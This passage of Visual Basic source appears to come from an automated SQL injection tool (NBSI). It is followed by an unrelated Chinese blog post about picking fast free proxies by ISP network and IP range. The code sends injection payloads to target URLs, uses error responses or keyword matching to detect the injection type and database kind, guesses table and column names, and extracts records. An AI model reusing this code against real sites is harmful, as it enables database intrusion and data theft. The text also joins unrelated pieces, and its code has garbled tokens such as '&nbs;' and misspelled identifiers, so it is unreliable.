            OptDecide_Method(2).Enabled = False: OptDecide_Method(2).Value = False
           
            OptInject_Method(0).Enabled = False: OptInject_Method(0).Value = False
            OptInject_Method(1).Enabled = False: OptInject_Method(1).Value = False
            OptInject_Method(2).Enabled = False: OptInject_Method(2).Value = False
           
            OptDatabase_Type(0).Enabled = False: OptDatabase_Type(0).Value = False
            OptDatabase_Type(1).Enabled = False: OptDatabase_Type(1).Value = False
            OptDatabase_Type(2).Enabled = False: OptDatabase_Type(2).Value = False
           
            TableList.Enabled = False: TableList.Clear
            FieldList.Enabled = False: FieldList.Clear
            RecordList.Enabled = False: RecordList.Clear
           
            txtTableName.Enabled = False: txtTableName.Text = "手工输入表名"
            txtFieldName.Enabled = False: txtFieldName.Text = "手工输入列名"
            txtCondition.Enabled = False: txtCondition.Text = "1=1"
            txtRecStart.Enabled = False: txtRecStart.Text = "1"
            TxtSelectedValue.Enabled = False: TxtSelectedValue.Text = "当前记录提示"
           
            btnGetTable.Enabled = False
            btnGetField.Enabled = False
      &nbs;     btnGetRecord.Enabled = False
           
            btnAddTable.Enabled = False
            btnAddField.Enabled = False
            btnDelTable.Enabled = False
            btnDelField.Enabled = False
            btnExport.Enabled = False
            UrlChanged = False
        Else
            btnCheck.Enabled = False
            URL.Text = TmpURL.Text
            Exit Sub
        End If
    End If
   
    ProgressBar.Value = 0
    TxtURL = URL.Text
    If InStr(TxtURL, "?") = 0 Or InStr(TxtURL, ".") = 0 Or InStr(TxtURL, "=") = 0 Or InStr(Replace(TxtURL, "//", ""), "/") = 0 Then
        Call MsgBox("待测网址格式有误,请检查!", 64, "提示信息")
        URL.SetFocus
        Exit Sub
    End If
   
    Pos = InStr(TxtURL, "//") + 2
    SiteAddress = Mid(TxtURL, Pos)
    Pos = InStr(SiteAddress, "/") - 1
    SiteAddress = Left(SiteAddress, Pos)
    SiteAddress = Replace(SiteAddress, "'", "''")
    TxtSiteAddress.Text = SiteAddress
   
    If btnCheck.Caption = "再检测" Then
        KeyWord = TxtKeyword.Text
        If Len(KeyWord) = 0 Then
            Call MsgBox("请输入特征字符!", 64, "提示信息")
            Exit Sub
        End If
        btnCheck.Enabled = False
        Decide_Method = FunDecide_Method_ByKeyword(TxtURL, KeyWord)
        If Decide_Method > 0 Then
            TxtKeyword.Enabled = False
        Else
            If LoginYN Then btnCheck.Enabled = True
            OptDecide_Method(0).Caption = "没有找到注入方法,破解失败"
            Exit Sub
        End If
        sql = "Update SiteList set KeyWord='" & Replace(KeyWord, "'", "''") & "',Decide_Method=" & Decide_Method & " Where SiteID=" & SiteID
        conn.Execute (sql)
    Else
        sql = "Select Top 1 * from SiteList Where SiteAddress='" & SiteAddress & "' And Decide_Method>0 order by SiteID desc"
        Set rs = conn.Execute(sql)
        If Not rs.EOF Then
            Message = "您于" & rs("Inject_Time") & "尝试注入网站:" & SiteAddress & vbCrLf & vbCrLf & _
                        "是否加载该次注入结果?"
            SelectedValue = MsgBox(Message, 4 + 32, "提示信息")
            If SelectedValue = 6 Then
                SiteID = rs("SiteID")
                Call LoadOldData(SiteID)
            Else
                SiteID = 0
            End If
        End If
        Set rs = Nothing
       
        If SiteID = 0 Then
            sql = "Select max(SiteID) as MaxID from SiteList"
            Set rs = conn.Execute(sql)
            SiteID = IIf(IsNull(rs("MaxID")), 1, rs("MaxID") + 1)
            Set rs = Nothing
           
            sql = "Insert Into SiteList(SiteID,SiteAddress,InjectURL) values(" & SiteID & ",'" & SiteAddress & "','" & TxtURL & "')"
            conn.Execute (sql)
        Else
            Exit Sub
        End If
        sql = "Update Setting set SetValue='" & TxtURL & "' where SetName='LastURL'"
        conn.Execute (sql)
       
        Decide_Method = FunDecide_Method(TxtURL)
        If Decide_Method = 11 Then
            Decide_Method = 1
            Inject_Method = 1
            Database_Type = 1
        ElseIf Decide_Method = 21 Then
            Decide_Method = 1
            Inject_Method = 2
            Database_Type = 1
        ElseIf Decide_Method = 31 Then
            Decide_Method = 1
            Inject_Method = 3
            Database_Type = 1
        End If
        sql = "Update SiteList set Decide_Method=" & Decide_Method & &quo; Where SiteID=" & SiteID
        conn.Execute (sql)
    End If
   
    OptDecide_Method(0).Enabled = False
    OptDecide_Method(0).Value = False
    OptDecide_Method(Decide_Method).Enabled = True
    OptDecide_Method(Decide_Method).Value = True
    MethodGet.Enabled = False
    MethodPost.Enabled = False
   
    Select Case Decide_Method
    Case 1
        btnAnalyse.Enabled = True
        Help.Text = "提示:" & vbCrLf & "系统检测到可使用HTTP报头错误捕抓,无需输入特征字符" & vbCrLf & "请直接进入下一步:[分析]"
        Call Continue_Analyse
    Case 2
        btnAnalyse.Enabled = True
        If btnCheck.Caption = "再检测" Then
            Call Continue_Analyse
        Else
            Help.Text = "提示:" & vbCrLf & "请输入特征字符并点击[分析]按钮,系统将自动检测注入方式及数据库类型!"
        End If
    Case 0
        TxtKeyword.Enabled = True
        TxtKeyword.SetFocus
        btnCheck.Caption = "再检测"
        btnHelp.Enabled = True
        Help.Text = "提示:" & vbCrLf & "暂时没有检测到注入方法(不表示破解任务失败)" & vbCrLf & "请输入网页特征字符并点击[再测试]按钮,系统会使用另一方法进行测试"
    End Select
    ProgressBar.Value = 100
End Sub

Private Sub Continue_Analyse()
    ProgressBar.Value = 0
    btnAnalyse.Enabled = False
    If OptInject_Method(0).Value = False And OptInject_Method(0).Value = False And OptInject_Method(0).Value = False Then
        If Inject_Method = 0 Then
            If Decide_Method = 1 Then
                Inject_Method = FunInject_Method(TxtURL)
            Else
                If Len(TxtKeyword.Text) = 0 Then
                    Call MsgBox("请输入特征字符!", 64, "NBSI提示信息")
                    Exit Sub
                End If
                Inject_Method = FunInject_Method_ByKeyword(TxtURL, KeyWord)
            End If
        End If
    End If
    If Inject_Method > 0 Then
        OptInject_Method(Inject_Method - 1).Enabled = True
        OptInject_Method(Inject_Method - 1).Value = True
    End If
   
    If Database_Type = 0 Then
        If Decide_Method = 1 Then
            Database_Type = FunDatabase_Type(TxtURL, Decide_Method, Inject_Method)
        Else
            If Len(TxtKeyword.Text) = 0 Then
                Call MsgBox("请输入特征字符!", 64, "NBSI提示信息")
                Exit Sub
            End If
            Database_Type = FunDatabase_Type_ByKeyword(TxtURL, Decide_Method, Inject_Method)
        End If
    End If
   
    If Database_Type > 0 Then
        OptDatabase_Type(Database_Type - 1).Enabled = True
        OptDatabase_Type(Database_Type - 1).Value = True
    End If
   
    sql = "Update SiteList set Inject_Method=" & Inject_Method & ",Database_Type=" & Database_Type & " Where SiteID=" & SiteID
    conn.Execute (sql)
   
    Help.Text = "提示:" & vbCrLf & "分析完毕,本网址可注入,请进入下一步骤:表名猜解"
   
    btnGetTable.Enabled = True
    txtTableName.Enabled = True
    btnAddTable.Enabled = True
    TableList.Enabled = True
    TxtKeyword.Enabled = False
    ProgressBar.Value = 100
End Sub

Private Sub LoadOldData(ByVal SiteID As Integer)
    sql = "Select * from SiteList Where SiteID=" & SiteID
    Set rs = conn.Execute(sql)
    If Not rs.EOF Then
        Decide_Method = rs("Decide_Method")
        OptDecide_Method(Decide_Method).Enabled = True
        OptDecide_Method(Decide_Method).Value = True
       
        If Decide_Method = 2 Then
            KeyWord = IIf(IsNull(rs("Keyword")), "", rs("Keyword"))
            'TxtKeyword.Enabled = True
            TxtKeyword.Text = KeyWord
        End If
       
        Inject_Method = rs("Inject_Method")
        If Inject_Method > 0 Then
            OptInject_Method(Inject_Method - 1).Enabled = True
            OptInject_Method(Inject_Method - 1).Value = True
        End If
       
        Database_Type = rs("Database_Type")
        If Database_Type > 0 Then
            OptDatabase_Type(Database_Type - 1).Enabled = True
            OptDatabase_Tpe(Database_Type - 1).Value = True
        End If
       
        btnCheck.Enabled = False
    End If
    Set rs = Nothing
    Call ReloadTableName(SiteID)
    TableList.Enabled = True
    txtTableName.Enabled = True
    btnGetTable.Enabled = True
    btnAddTable.Enabled = True
End Sub

Private Sub RecordList_Click()
    On Error Resume Next
    FieldArr = Split(TxtRecordField.Text, ",")
    ValueArr = Split(RecordList.List(RecordList.ListIndex), "|")
    For i = 0 To UBound(FieldArr) - 1
        RecordStr = RecordStr & FieldArr(i) & ":" & ValueArr(i) & " "
    Next
    TxtSelectedValue.Text = Left(RecordStr, Len(RecordStr) - 1)
    On Error GoTo 0
End Sub

'----------------------------------------------------------------------------------------------
' Operate of Table
'----------------------------------------------------------------------------------------------
Private Sub TableList_Click()
    If TableList.ListIndex >= 0 Then
        btnDelTable.Enabled = True
        If Left(TableList.List(TableList.ListIndex), 2) = "Y_" And btnGetTable.Caption = "猜解表名" Then
            btnGetField.Enabled = True
            FieldList.Enabled = True
            txtFieldName.Enabled = True
            btnAddField.Enabled = True
        Else
            btnGetField.Enabled = False
            FieldList.Enabled = False
            txtFieldName.Enabled = False
            btnAddField.Enabled = False
        End If
    End If
    TableNameSelected = Mid(TableList.List(TableList.ListIndex), 3)
    txtTableName.Text = TableNameSelected
    Call ReloadFieldName(SiteID, TableNameSelected)
End Sub

Private Sub btnGetTable_Click()
    ProgressBar.Value = 0
    If btnGetTable.Caption = "停止猜解" Then
        StopFlag = True
        Main.Enabled = False
        btnGetTable.Caption = "猜解表名"
    Else
        StopFlag = False
        btnGetTable.Caption = "停止猜解"
        txtTableName.Enabled = False
        btnAddTable.Enabled = False
        btnGetField.Enabled = False
        FieldList.Enabled = False
        txtFieldName.Enabled = False
        btnAddField.Enabled = False
        Call FunGet_TableName(TxtURL)
        btnGetTable.Caption = "猜解表名"
        txtTableName.Enabled = True
        btnAddTable.Enabled = True
        Help.Text = "提示:表名猜解完成"
    End If
    ProgressBar.Value = 100
End Sub

Private Sub btnAddTable_Click()
    TableName = txtTableName.Text
    If TableName = "" Or InStr(TableName, " ") > 0 Then
        Call MsgBox("请输入特征字符!", 64, "NBSI提示信息")
    Else
        isValidated = FunTableExist(TxtURL, TableName)
        sql = "Delete from TableList Where SiteID=" & SiteID & " And TableName='" & TableName & "'"
        conn.Execute (sql)
        sql = "Insert into TableList(SiteID,TableName,isValidated) values(" & SiteID & ",'" & TableName & "'," & isValidated & ")"
        conn.Execute (sql)
        Call ReloadTableName(SiteID)
        TableList.ListIndex = TableList.ListCount - 1
    End If
End Sub

Private Sub btnDelTable_Click()
    Selected = TableList.ListIndex
    TableName = Mid(TableList.List(Selected), 3)
    sql = "Delete from TableList Where SiteID=" & SiteID & " And TableName='" & TableName & "'"
    conn.Execute (sql)
    Call ReloadTableName(SiteID)
    If Selected > 0 Then TableList.ListIndex = IIf(Selected > TableList.ListCount - 1, TableList.ListCount - 1, Selected)
End Sub

Private Sub ReloadTableName(ByVal SiteID As Integer)
    TableList.Clear
    sql = "Select * from TableList Where SiteID=" & SiteID
    Set rs = conn.Execute(sql)
    Do While Not rs.EOF
        TableList.AddItem (IIf(rs("isValidated"), "Y", "N") & "_" & rs("TableName"))
        rs.MoveNext
    Loop
    Set rs = Nothing
End Sub


'----------------------------------------------------------------------------------------------
' Operate of Field
'----------------------------------------------------------------------------------------------
Private Sub btnGetField_Click()
    ProgressBar.Value = 0
    If btnGetField.Caption = "停止猜解" Then
        StopFlag = True
        Main.Enabled = False
        btnGetField.Caption = "猜解列名"
    Else
        StopFlag = False
        FieldList.Enabled = True
        txtFieldName.Enabled = False
        btnAddField.Enabled = False
       
        btnGetTable.Enabled = False
        TableList.Enabled = False
        txtTableName.Enabled = False
        btnAddTable.Enabled = False
        btnDelTable.Enabled = Fals
       
        btnGetField.Caption = "停止猜解"
        TableName = TableList.List(TableList.ListIndex)
        TableName = Mid(TableName, 3)
        Call FunGet_FieldName(TxtURL, TableName)
        btnGetField.Caption = "猜解列名"
       
        btnGetTable.Enabled = True
        TableList.Enabled = True
        txtTableName.Enabled = True
        btnAddTable.Enabled = True
        btnDelTable.Enabled = True
       
        txtFieldName.Enabled = True
        btnAddField.Enabled = True
        Help.Text = "提示:列名猜解完成"
    End If
    ProgressBar.Value = 100
End Sub

Private Sub btnAddField_Click()
    FieldName = txtFieldName.Text
    TableName = Mid(TableList.List(TableList.ListIndex), 3)
   
    If FieldName = "" Or InStr(FieldName, " ") > 0 Then
        Call MsgBox("请输入特征字符!", 64, "NBSI提示信息")
    Else
        isValidated = FunFieldExist(TxtURL, TableName, FieldName)
        sql = "Delete from FieldList Where SiteID=" & SiteID & " And TableName='" & TableName & "' And FieldName='" & FieldName & "'"
        conn.Execute (sql)
        sql = "Insert into FieldList(SiteID,TableName,FieldName,isValidated) values(" & SiteID & ",'" & TableName & "','" & FieldName & "'," & isValidated & ")"
        conn.Execute (sql)
        Call ReloadFieldName(SiteID, TableName)
        FieldList.ListIndex = FieldList.ListCount - 1
    End If
End Sub

Private Sub btnDelField_Click()
    TableName = Mid(TableList.List(TableList.ListIndex), 3)
    Selected = FieldList.ListIndex
    FieldName = Mid(FieldList.List(Selected), 3)
    sql = "Delete from FieldList Where SiteID=" & SiteID & " And TableName='" & TableName & "' And FieldName='" & FieldName & "'"
    conn.Execute (sql)
    Call ReloadFieldName(SiteID, TableName)
    If Selected > 0 Then FieldList.ListIndex = IIf(Selected > FieldList.ListCount - 1, FieldList.ListCount - 1, Selected)
End Sub


Private Sub ReloadFieldName(ByVal SiteID As Integer, ByVal TableName As String)
    FieldList.Clear
    sql = "Select * from FieldList Where SiteID=" & SiteID & " And TableName='" & TableName & "'"
    Set rs = conn.Execute(sql)
    Do While Not rs.EOF
        FieldList.AddItem (IIf(rs("isValidated"), "Y", "N") & "_" & rs("FieldName"))
        rs.MoveNext
    Loop
    Set rs = Nothing
End Sub


Private Sub FieldList_Click()
    If FieldList.ListIndex >= 0 Then
        btnDelField.Enabled = True
    Else
        btnDelField.Enabled = False
    End If
    First_Loop = True
    FieldListMain = ""
    FieldListSub = ""
    Count_FieldsSelected = 0
    For i = 0 To FieldList.ListCount - 1
        If FieldList.Selected(i) Then
            Count_FieldsSelected = Count_FieldsSelected + 1
            If First_Loop Then
                btnGetRecord.Enabled = True
                txtCondition.Enabled = True
                txtRecStart.Enabled = True
                Sort_Field = FieldList.List(i)
                First_Loop = False
            End If
           
            FieldNameSelected = Mid(FieldList.List(i), 3)
            If Database_Type = 3 Then
                FieldListMain = FieldListMain & "cstr([" & FieldNameSelected & "])%2Bchr(124)%2B"
            Else
                FieldListMain = FieldListMain & "isNull(cast([" & FieldNameSelected & "] as varchar(8000)),char(32))%2Bchar(124)%2B"
            End If
            FieldListSub = FieldListSub & FieldNameSelected & ","
        End If
    Next
    If First_Loop Then btnGetRecord.Enabled = False
   
    If Right(FieldListMain, 3) = "%2B" Then FieldListMain = Left(FieldListMain, Len(FieldListMain) - 3)
    If Count_FieldsSelected > 1 And Right(FieldListMain, 11) = "%2Bchr(124)" Then FieldListMain = Left(FieldListMain, Len(FieldListMain) - 11)
    If Count_FieldsSelected > 1 And Right(FieldListMain, 12) = "%2Bchar(124)" Then FieldListMain = Left(FieldListMain, Len(FieldListMain) - 12)
   
    TableNameSelected = Mid(TableList.List(TableList.ListIndex), 3)
    FieldNameSelected = Mid(FieldList.List(FieldList.ListIndex), 3)
    txtFieldName.Text = FieldNameSelected
   
    If Right(FieldListSub, 1) = "," Then AscStr = Left(FieldListSub, Len(FieldListSub) - 1)
    DescStr = Replace(FieldListSub, ",", " desc,")
    If Right(DescStr, 1) = "," Then DescStr = Left(DescStr, Len(DescStr) - 1)
End Sub


'----------------------------------------------------------------------------------------------
' Operate of Record
'----------------------------------------------------------------------------------------------
Private Sub btnGetRecord_Click()
    ProgressBar.Value = 0
    If btnGetRecord.Caption = "停止猜解" Then
        StopFlag = True
        Main.Enabled = False
        btnGetRecord.Caption = "猜解记录"
    Else
        StopFlag = False
        RecordList.Enabled = True
        TxtSelectedValue.Enabled = True
        btnExport.Enabled = True
       
        btnGetField.Enabled = False
        FieldList.Enabled = False
        txtFieldName.Enabled = False
        btnAddField.Enabled = False
        btnDelField.Enabled = False
       
        btnGetTable.Enabled = False
        TableList.Enabled = False
        txtTableName.Enabled = False
        btnAddTable.Enabled = False
        btnDelTable.Enabled = False
        txtCondition.Enabled = False
        txtRecStart.Enabled = False
       
        btnGetRecord.Caption = "停止猜解"
        TxtRecordField.Text = FieldListSub
        TxtRecordTable.Text = Mid(TableList.List(TableList.ListIndex), 3)
        Call FunGet_Record(TxtURL)
        btnGetRecord.Caption = "猜解记录"
       
        btnGetField.Enabled = True
        FieldList.Enabled = True
        txtFieldName.Enabled = True
        btnAddField.Enabled = True
        btnDelField.Enabled = True
       
        btnGetTable.Enabled = True
        TableList.Enabled = True
        txtTableName.Enabled = True
        btnAddTable.Enabled = True
        btnDelTable.Enabled = True
        txtCondition.Enabled = True
        txtRecStart.Enabled = True
    End If
    ProgressBar.Value = 100
End Sub


'----------------------------------------------------------------------------------------------
' Step 1: Decide_Method
'----------------------------------------------------------------------------------------------
Public Function FunDecide_Method(ByVal URL_Source As String) As Integer
    ResultArray = CommonGetHTTPHeadAndBody(URL_Source & " and user%2Bchar(124)>0")
    Pos = InStr(ResultArray(1), "varchar")
    If InStr(ResultArray(0), HTTP_500_INC) > 0 And Pos > 0 Then
        Pos_CRLF = InStr(Pos, ResultArray(1), vbLf)
        LineStr = Mid(ResultArray(1), Pos, Pos_CRLF - Pos)
        If InStr(LineStr, " and user+char(124)") = 0 Then
            FunDecide_Method = 11
            Exit Function
        End If
    End If
   
    ResultArray = CommonGetHTTPHeadAndBody(URL_Source & "' and user%2Bchar(124)>0 and ''='")
    Pos = InStr(ResultArray(1), "varchar")
    If InStr(ResultArray(0), HTTP_500_INC) > 0 And Pos > 0 Then
        Pos_CRLF = InStr(Pos, ResultArray(1), vbLf)
        LineStr = Mid(ResultArray(1), Pos, Pos_CRLF - Pos)
        If InStr(LineStr, " and user+char(124)") = 0 Then
            FunDecide_Method = 21
            Exit Function
        End If
    End If
   
    ResultArray = CommonGetHTTPHeadAndBody(URL_Source & "%25' and user%2Bchar(124)>0 and '%25'='")
    Pos = InStr(ResultArray(1), "varchar")
    If InStr(ResultArray(0), HTTP_500_INC) > 0 And Pos > 0 Then
        Pos_CRLF = InStr(Pos, ResultArray(1), vbLf)
        LineStr = Mid(ResultArray(1), Pos, Pos_CRLF - Pos)
        If InStr(LineStr, " and user+char(124)") = 0 Then
            FunDecide_Method = 31
            Exit Function
        End If
    End If
   
    Inject_Method = FunInject_Method(URL_Source)
   
    If Inject_Method = 0 Then
        FunDecide_Method = 0
    Else
        FunDecide_Method = 1
        OptInject_Method(Inject_Method - 1).Enabled = True
        OptInject_Method(Inject_Method - 1).Value = True
    End If
    Exit Function
End Function


Public Function FunDecide_Method_ByKeyword(ByVal URL_Source As String, ByVal KeyWord As String) As Integer
    ResultNumTrue = CommonGetHTTPBody(URL_Source & " And 1=1")
    ResultStrTrue = CommonGetHTTPBody(URL_Source & "' And ''='")
    ResultSchTrue = CommonGetHTTPBody(URL_Source & "%25' And '%25'='")
    ResultNumFalse = CommonGetHTTPBody(URL_Source & " And 1=2")
    ResultStrFalse = CommonGetHTTPBody(URL_Source & "' And 'FALSE'=")
    ResultSchFalse = CommonGetHTTPBody(URL_Source & "%25' And ''=")
    If (InStr(ResultNumTrue, KeyWord) > 0 Or InStr(ResultStrTrue, KeyWord) > 0 Or InStr(ResultSchTrue, KeyWord) > 0) And _
        (InStr(ResultNumFalse, KeyWord) = 0 Or InStr(ResultStrFalse, KeyWord) = 0 Or InStr(ResultSchFalse, KeyWord) = 0) Then
        FunDecide_Method_ByKeyword = 2
    Else
        FunDecide_Method_ByKeyword = 0
    End If
End Function


'----------------------------------------------------------------------------------------------
' Step 2: Inject_Method
'----------------------------------------------------------------------------------------------
Public Function FunInject_Method(ByVal URL_Source As String) As Integer
    FunInject_Method = 0
   
    ResultTrue = CommonGetHTTPHead(URL_Source & " And 1=1")
    ResultFalse = CommonGetHTTPHead(URL_Source & " And 1=2")
    If InStr(ResultTrue, HTTP_200_INC) > 0 And InStr(ResultFalse, HTTP_500_INC) > 0 Then
        FunInject_Method = 1
        Exit Function
    End If
   
    ResultTrue = CommonGetHTTPHead(URL_Source & "' And 1=1 And ''='")
    ResultFalse = CommonGetHTTPHead(URL_Source & "' And 1=2 And ''='")
    If InStr(ResultTrue, HTTP_200_INC) > 0 And InStr(ResultFalse, HTTP_500_INC) > 0 Then
        FunInject_Method = 2
        Exit Function
    End If
   
    ResultTrue = CommonGetHTTPHead(URL_Source & "%25' And 1=1 And '%25'='")
    ResultFalse = CommonGetHTTPHead(URL_Source & "%25' And 1=2 And '%25'='")
    If InStr(ResultTrue, HTTP_200_INC) > 0 And InStr(ResultFalse, HTTP_500_INC) > 0 Then
        FunInject_Method = 3
        Exit Function
    End If
End Function


Public Function FunInject_Method_ByKeyword(ByVal URL_Source As String, ByVal KeyWord As String) As Integer
    ResultTrue = CommonGetHTTPBody(URL_Source & " And 1=1")
    ResultFalse = CommonGetHTTPBody(URL_Source & " And 1=2")
    If (InStr(ResultTrue, KeyWord) > 0 And InStr(ResultFalse, KeyWord) = 0) Then
        FunInject_Method_ByKeyword = 1
        Exit Function
    End If
   
    ResultTrue = CommonGetHTTPBody(URL_Source & "' And 1=1 And ''='")
    ResultFalse = CommonGetHTTPBody(URL_Source & "' And 1=2 And ''='")
    If (InStr(ResultTrue, KeyWord) > 0 And InStr(ResultFalse, KeyWord) = 0) Then
        FunInject_Method_ByKeyword = 2
        Exit Function
    End If
   
    ResultTrue = CommonGetHTTPBody(URL_Source & "%25' And 1=1 And '%25'='")
    ResultFalse = CommonGetHTTPBody(URL_Source & "%25' And 1=2 And '%25'='")
    If (InStr(ResultTrue, KeyWord) > 0 And InStr(ResultFalse, KeyWord) = 0) Then
        FunInject_Method_ByKeyword = 3
        Exit Function
    End If
End Function


'----------------------------------------------------------------------------------------------
' Step 3: Database_Type
'----------------------------------------------------------------------------------------------
Public Function FunDatabase_Type(ByVal URL_Source As String, ByVal Decide_Method As Integer, ByVal Inject_Method As Integer) As Integer
    If Inject_Method = 1 Then
        Result200 = CommonGetHTTPHead(URL_Source & " And (Select Count(1) from SYSObjects)>0")
    ElseIf Inject_Method = 2 Then
        Result200 = CommonGetHTTPHead(URL_Source & "' And (Select Count(1) from SYSObjects)>0 And ''='")
    ElseIf Inject_Method = 3 Then
        Result200 = CommonGetHTTPHead(URL_Source & "%25' And (Select Count(1) from SYSObjects)>0 And '%25'='")
    End If
   
    If InStr(Result200, HTTP_200_INC) > 0 Then
        If Inject_Method = 1 Then
            Result500 = CommonGetHTTPBody(URL_Source & " And (Select Top 1 char(65) from SYSObjects)>0")
        ElseIf Inject_Method = 2 Then
            Result500 = CommonGetHTTPBody(URL_Source & "' And (Select Top 1 char(65) from SYSObjects)>0 And ''='")
        ElseIf Inject_Method = 3 Then
            Result500 = CommonGetHTTPBody(URL_Source & "%25' And (Select Top 1 char(65) from SYSObjects)>0 And '%25'='")
        End If
       
        If InStr(Result500, "varchar") > 0 Then
            FunDatabase_Type = 1
        Else
            FunDatabase_Type = 2
        End If
    Else
        FunDatabase_Type = 3
    End If
End Function

Public Function FunDatabase_Type_ByKeyword(ByVal URL_Source As String, ByVal Decide_Method As Integer, ByVal Inject_Method As Integer) As Integer
    If Inject_Method = 1 Then
        Result200 = CommonGetHTTPBody(URL_Source & " And (Select Count(1) from SYSObjects)>0")
    ElseIf Inject_Method = 2 Then
        Result200 = CommonGetHTTPBody(URL_Source & "' And (Select Count(1) from SYSObjects)>0 And ''='")
    ElseIf Inject_Method = 3 Then
        Result200 = CommonGetHTTPBody(URL_Source & "%25' And (Select Count(1) from SYSObjects)>0 And '%25'='")
    End If
   
    If (InStr(Result200, KeyWord) > 0) Then

- 作者: 10wWhy 2004年07月26日, 星期一 04:44  回复(7) |  引用(0) 加入博采

免费代理经验谈必看
现在网上公布免费代理的网站一陀一陀的,随便找找就能得到
一个暴大的代理列表,绝大多数人都是用proxyhunter这类软件简
单的验证一下,找其中时间参数小的,就认为是所谓的飞快的
代理了。我并不是说这样做不对,只是觉得不是很准确,毕竟
影响这个时间参数的因素太多了。

下面我的一家之言,论据不一定充分,呵呵,信不信由你!
就算你不懂或是由什么疑问,也不要来问我了,因为我一个月后
就得告别教育网了,当然也没有机会去帮任何人去验证什么免费代理了

我觉得一个代理是不是好代理,取决于这个代理服务器在互联网中
的接入带宽。有很多代理都是hunter测试时间参数很小,连上去也很快,
但是一个网页传了半天都不出来,我想就是因为这个代理的网络接入带
宽太小,但是为什么连接会很快呢,那是因为该代理所处的网段主干带
宽很大,也很空闲。

国内现在有几大网络,Chinanet(也就是电信网), 联通,吉通和网通,
网络上一般出现的免费代理绝大多数就是走的这几大网络。
这一点,你经常 tracert一下就能知道了。
//如果你不懂tracert是什么,下面这些tracert特征你也就不要看了,看了也白看。
或者回去自己弄明白,tracert是怎么回事再来看。

各大网络tracert特征(不保证100%全对,但我相信至少90%是如此)
(1)大凡需要经过一大串202.97.*.*的都是走电信的网络,也就是Chinanet啦
一般常见的Chinanet的IP,
61.128.0.0---61.190.255.255;
202.96.0.0---202.111.255.255;
218.0.0.0---218.99.255.255

(2)需要经过很多211.94.4*.*的都是属于联通的线路
一般常见的联通的IP,
211.90.0.0---211.97.255.255;
61.240.0.0---61.243.255.255

(3)需要经过很多210.52.*.* or 210.21.*.* or 210.83.*.*的都是属于网通的了
一般常见的网通的IP
210.21.0.0---210.22.255.255
210.51.0.0---210.53.255.255
210.82.0.0---210.83.255.255

(4)需要经过很多210.12.*.* or 203.93.*.*的都是吉通的
一般常见的吉通的IP
203.93.0.0---203.93.255.255
210.12.0.0---210.15.255.255
211.163.0.0---211.163.255.255

(5)有些不多见的但是都是有独立的线路和出口带宽的
比如需要经过159.226.*.*的是中科院的
还有211.136.0.0---211.143.255.255是中国移动互联网的
203.207.128.0---203.207.255.255是经济信息网的
211.164.0.0---211.166.255.255是长城互联网的

这些大的网络自己的主干线路那都没得说,肯定都是上G的
关键的问题就是这些网络之间的接口带宽有多大!
Chinanet财大气粗,据说与各个网络之间的接口都是>155M的
至于连到国外的出口带宽,根据CNNIC2001年底的调查报告
(http://www.cnnic.net.cn/develst/200...绶⒄沟暮旯鄹趴?/a>)
与免费代理很相关的,出口带宽大小 Chinanet >>网通>联通>吉通
(事实上,我的感觉网通的代理出国速度跟Chinanet的差不多,甚至更快
因为Chinanet尽管带宽大,但是用户和流量也都远远大于网通的.)

我下载了一个CNNIC的flash,图示了个网络之间的带宽,不过是2001年的
(http://202.38.64.10/~adamxc/inter/cnnic.swf)
还有一点,同一网络的出口带宽,还要分不同的区域,
比如Chinanet,就有三个出口,北京,上海和广州这三处出口带宽各不相同
所以即使是同处于Chinanet的代理,连向的出口处不同,连出国的速度自然也不同。
联通,吉通和网通也都是如此.


这几大网络一般都有那些面向拨号上网(或者ISDN)用户的服务
是以大家在大面积hunter时,经常能得到很多代理,但是过不了两天
就大多都翘了。我想是因为拨号和ISDN都是动态分配IP的,这些代理嘛,
八成就是那些破破网吧的服务器开的代理,那服务器一重起,IP就换了,
那自然原来的那个代理IP就不照乐。不过嘛,这些代理都是垃圾,关了也无所谓!
另外还有很多租用比较小的DDN线路的,比如128K,256K和512K的DDN
这些嘛,都是一些小公司和小网吧租的,这些个代理大多就是那种连接速度很快
但数据传输比较慢的代理了,跟那些绝好的代理混在一起,用hunter验证的时间参数
都差不多的,不好分辨。

在我看来,接入带宽>1M的代理服务器,才算是好。
换一种说法也就是最高下载速率起码>100k byte/s的代理,我才会去用。
现在像宽带网越来越普及,所以这种代理也越来越多,
这个样子对我们有好处,也有不好的地方。
以前最开始我找免费代理的时候,每四五十个中,
或许能找到一两个符合这个速度要求的代理,
现在大概每十几个里就至少有一个较快的代理。
不好的地方就是网络资源使用得越来越多,使不同网络之间的接口处成了瓶颈。

免费代理经验谈2---proxyhunter里的时间参数

影响这个时间参数的我觉得主要有三个因素

1. 你的机器所处网络(cernet)的状况。
科大走教育网的线路目前比较烂,虽然是155M线路
但是经常丢包,在清华北大就没这个事。
所以你在科大验代理,hunter里时间特性的第一个值就很不准确
常常一个绝对很快的代理,有时候连上去是0.1s,有时候要等>3s才能连上去
不管是多么快多么好的代理,在科大去验证,都会出现这种情况

还有一般白天使用cernet的人都很多,同一个代理,你在不同的时间段去验证
得到的结果也会不一样。


2.教育网与Chinanet之间的接口,太拥挤了!
经常白天ping新浪,都是>300ms
trace一下,就可以看到就是从202.38.123.10到202.97.10.233之间是一个瓶颈
记得以前从教育网到联通、吉通、网通都是有单独的接口的,那时候
从教育网到chinanet慢的一塌糊涂,但是往联通、网通却很快的。
不知道从什么时候起,连到联通网通吉通都要经过202.97.10.*这个该死的接口了
所以白天ping什么免费代理几乎都是>300ms
当然ping的时间值高,比不一定数据传输就很慢,不过大白天的通过cernet往
其他网络连能有100k/s的速度就很不错了。
ping值小的,也不一定数据传得就快,比如你在凌晨的时候ping那些很烂的代理
一样是<100ms
所以你在白天用那些即使本身很快的代理,也会感觉,怎么这么慢。
那不是代理的错,错就错在两大网络接口太小,用的人太多!

对于通过学校的代理做一级代理的同学,上面这个问题就不存在了。
因为从Chinanet除了往教育网连不快,往哪儿连都挺快的。

3.你用作验证的网址是什么?
比如你用yahoo作为验证地址验出来的免费代理往日本或是澳大利亚连
就会感觉不一样,甚至往美国的其他网站连都会不一样,yahoo只是美国
众多ISP之一,各ISP与中国的各网络接口大小也不一样。
所以你在proxyhunter里验证出来的免费代理,快也只能说明这个代理连到你
作为验证的网址快一点罢了。

主要就是上面三个因素了,
另外还有一些比较小的影响因素
比如该免费代理所处网络的使用状况。

免费代理经验谈3---验证代理的方法(很土的说)
因为代理的速度和hunter里的时间参数
受网络使用状况影响太大,所以我以前给出的免费代理
都是在每段网络的代理中各挑几个带宽较大的
一般都是Chinanet, 吉通,联通,网通的都有。
我现在对绝大多数免费代理,差不多一眼就能看出来
